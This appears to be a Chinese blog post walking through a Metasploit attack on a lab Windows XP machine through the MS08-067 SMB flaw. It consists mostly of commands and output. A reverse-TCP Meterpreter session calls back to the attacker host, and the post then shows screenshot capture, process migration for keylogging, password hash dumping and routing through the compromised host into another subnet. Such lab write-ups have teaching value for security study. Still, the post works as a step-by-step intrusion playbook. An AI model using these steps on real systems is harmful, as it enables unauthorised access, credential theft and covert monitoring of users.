Test-MS08-067

环境

1
2
3
4
Kali2.0
192.168.1.8
WinXPenSP3
192.168.1.43

Start

1
2
3
msf auxiliary(syn) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Show Option

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting

Set Option

1
2
3
4
msf exploit(ms08_067_netapi) > set RhOST 192.168.1.43
RhOST => 192.168.1.43
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.8
LHOST => 192.168.1.8

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.1.8:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (957487 bytes) to 192.168.1.43
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.43:1115) at 2016-06-03 14:18:57 +0800
meterpreter > ls
Listing: C:\WINDOWS\system32
============================
Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  1482      fil   2011-08-14 13:40:01 +0800  $winnt$.inf
40777/rwxrwxrwx   0         dir   2011-08-14 21:19:31 +0800  1025

Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
meterpreter > shell
Process 1004 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.43
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1
C:\WINDOWS\system32>

常用手法

截屏

1
2
meterpreter > screenshot
Screenshot saved to: /root/Fyjiynwg.jpeg

获取系统信息

1
2
3
4
5
6
7
8
meterpreter > sysinfo
Computer        : DH-CA8822AB9589
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32

目标系统正在运行的进程

1
2
3
4
5
6
7
8
9
10
11
meterpreter > ps
Process List
============
 PID   PPID  Name                  Arch  Session  User                           Path
 ---   ----  ----                  ----  -------  ----                           ----
 0     0     [System Process]                                                    
 4     0     System                x86   0        NT AUTHORITY\SYSTEM            
 128   676   VMUpgradeHelper.exe   x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
 560   4     smss.exe              x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe

键盘记录

使用migrate将会话迁移至explorer.exe(pid)进程中再启动keylog_recorder模块，需要终止时CTRL+C

1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > migrate 1652
[*] Migrating from 1032 to 1652...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against DH-CA8822AB9589
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf7/loot/20160603143131_default_192.168.1.43_host.windows.key_581630.txt
[*] Recording keystrokes...
^C[*] Saving last few keystrokes...
[*] Interrupt
[*] Stopping keystroke sniffer...

获取密码哈希值

1
2
3
4
5
6
7
8
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:32f842845a64f17ccbe6b10315169b7e:83789c0d8506a618d815fd9c6fb379e1:::
IUSR_DH-CA8822AB9589:1003:de8b8cec054052bb8ab2d451a3e61856:145f992fa5ff125301520f8e27419c6d:::
IWAM_DH-CA8822AB9589:1004:90b05d38a1fc8d80a4ae31c7bc961352:2f950167d2942f7c977fdfd1857b8a59:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bb5a5a239a6e521be591fdf091b05013:::
meterprete

将目标机器作为跳板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > run get_local_subnets
Local subnet: 192.168.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms08_067_netapi) > route add 192.168.3.0 255.255.255.0 1
[*] Route added
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.3.0        255.255.255.0      Session 1
赏

谢谢你请我吃糖果

微信

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    2、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: true
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

这个人很懒,什么都没留下